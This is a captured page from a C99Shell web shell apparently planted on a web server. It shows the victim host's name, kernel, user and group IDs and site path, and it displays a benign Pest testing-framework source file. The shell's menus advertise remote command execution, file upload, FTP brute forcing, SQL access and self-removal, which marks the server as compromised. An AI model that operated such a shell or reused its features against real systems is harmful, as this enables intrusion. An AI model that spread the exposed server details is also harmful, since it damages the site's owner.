!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/classify.picotech.app/public_html/vendor/pestphp/pest/src/   drwxr-xr-x
Free 29.15 GB of 117.98 GB (24.7%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Functions.php (5.35 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

declare(strict_types=1);

use 
Pest\Concerns\Expectable;
use 
Pest\Exceptions\AfterAllWithinDescribe;
use 
Pest\Exceptions\BeforeAllWithinDescribe;
use 
Pest\Expectation;
use 
Pest\PendingCalls\AfterEachCall;
use 
Pest\PendingCalls\BeforeEachCall;
use 
Pest\PendingCalls\DescribeCall;
use 
Pest\PendingCalls\TestCall;
use 
Pest\PendingCalls\UsesCall;
use 
Pest\Repositories\DatasetsRepository;
use 
Pest\Support\Backtrace;
use 
Pest\Support\DatasetInfo;
use 
Pest\Support\HigherOrderTapProxy;
use 
Pest\TestSuite;
use 
PHPUnit\Framework\TestCase;

if (! 
function_exists('expect')) {
    
/**
     * Creates a new expectation.
     *
     * @template TValue
     *
     * @param  TValue|null  $value
     * @return Expectation<TValue|null>
     */
    
function expect(mixed $value null): Expectation
    
{
        return new 
Expectation($value);
    }
}

if (! 
function_exists('beforeAll')) {
    
/**
     * Runs the given closure before all tests in the current file.
     */
    
function beforeAll(Closure $closure): void
    
{
        if (! 
is_null(DescribeCall::describing())) {
            
$filename Backtrace::file();

            throw new 
BeforeAllWithinDescribe($filename);
        }

        
TestSuite::getInstance()->beforeAll->set($closure);
    }
}

if (! 
function_exists('beforeEach')) {
    
/**
     * Runs the given closure before each test in the current file.
     *
     * @return HigherOrderTapProxy<Expectable|TestCall|TestCase>|Expectable|TestCall|TestCase|mixed
     */
    
function beforeEach(?Closure $closure null): BeforeEachCall
    
{
        
$filename Backtrace::file();

        return new 
BeforeEachCall(TestSuite::getInstance(), $filename$closure);
    }
}

if (! 
function_exists('dataset')) {
    
/**
     * Registers the given dataset.
     *
     * @param  Closure|iterable<int|string, mixed>  $dataset
     */
    
function dataset(string $nameClosure|iterable $dataset): void
    
{
        
$scope DatasetInfo::scope(Backtrace::datasetsFile());

        
DatasetsRepository::set($name$dataset$scope);
    }
}

if (! 
function_exists('describe')) {
    
/**
     * Adds the given closure as a group of tests. The first argument
     * is the group description; the second argument is a closure
     * that contains the group tests.
     *
     * @return HigherOrderTapProxy<Expectable|TestCall|TestCase>|Expectable|TestCall|TestCase|mixed
     */
    
function describe(string $descriptionClosure $tests): DescribeCall
    
{
        
$filename Backtrace::testFile();

        return new 
DescribeCall(TestSuite::getInstance(), $filename$description$tests);
    }
}

if (! 
function_exists('uses')) {
    
/**
     * The uses function binds the given
     * arguments to test closures.
     *
     * @param  class-string  ...$classAndTraits
     */
    
function uses(string ...$classAndTraits): UsesCall
    
{
        
$filename Backtrace::file();

        return new 
UsesCall($filenamearray_values($classAndTraits));
    }
}

if (! 
function_exists('test')) {
    
/**
     * Adds the given closure as a test. The first argument
     * is the test description; the second argument is
     * a closure that contains the test expectations.
     *
     * @return Expectable|TestCall|TestCase|mixed
     */
    
function test(?string $description null, ?Closure $closure null): HigherOrderTapProxy|TestCall
    
{
        if (
$description === null && TestSuite::getInstance()->test instanceof \PHPUnit\Framework\TestCase) {
            return new 
HigherOrderTapProxy(TestSuite::getInstance()->test);
        }

        
$filename Backtrace::testFile();

        return new 
TestCall(TestSuite::getInstance(), $filename$description$closure);
    }
}

if (! 
function_exists('it')) {
    
/**
     * Adds the given closure as a test. The first argument
     * is the test description; the second argument is
     * a closure that contains the test expectations.
     *
     * @return Expectable|TestCall|TestCase|mixed
     */
    
function it(string $description, ?Closure $closure null): TestCall
    
{
        
$description sprintf('it %s'$description);

        
/** @var TestCall $test */
        
$test test($description$closure);

        return 
$test;
    }
}

if (! 
function_exists('todo')) {
    
/**
     * Adds the given todo test. Internally, this test
     * is marked as incomplete. Yet, Collision, Pest's
     * printer, will display it as a "todo" test.
     *
     * @return Expectable|TestCall|TestCase|mixed
     */
    
function todo(string $description): TestCall
    
{
        
$test test($description);

        
assert($test instanceof TestCall);

        return 
$test->todo();
    }
}

if (! 
function_exists('afterEach')) {
    
/**
     * Runs the given closure after each test in the current file.
     *
     * @return Expectable|HigherOrderTapProxy<Expectable|TestCall|TestCase>|TestCall|mixed
     */
    
function afterEach(?Closure $closure null): AfterEachCall
    
{
        
$filename Backtrace::file();

        return new 
AfterEachCall(TestSuite::getInstance(), $filename$closure);
    }
}

if (! 
function_exists('afterAll')) {
    
/**
     * Runs the given closure after all tests in the current file.
     */
    
function afterAll(Closure $closure): void
    
{
        if (! 
is_null(DescribeCall::describing())) {
            
$filename Backtrace::file();

            throw new 
AfterAllWithinDescribe($filename);
        }

        
TestSuite::getInstance()->afterAll->set($closure);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0038 ]--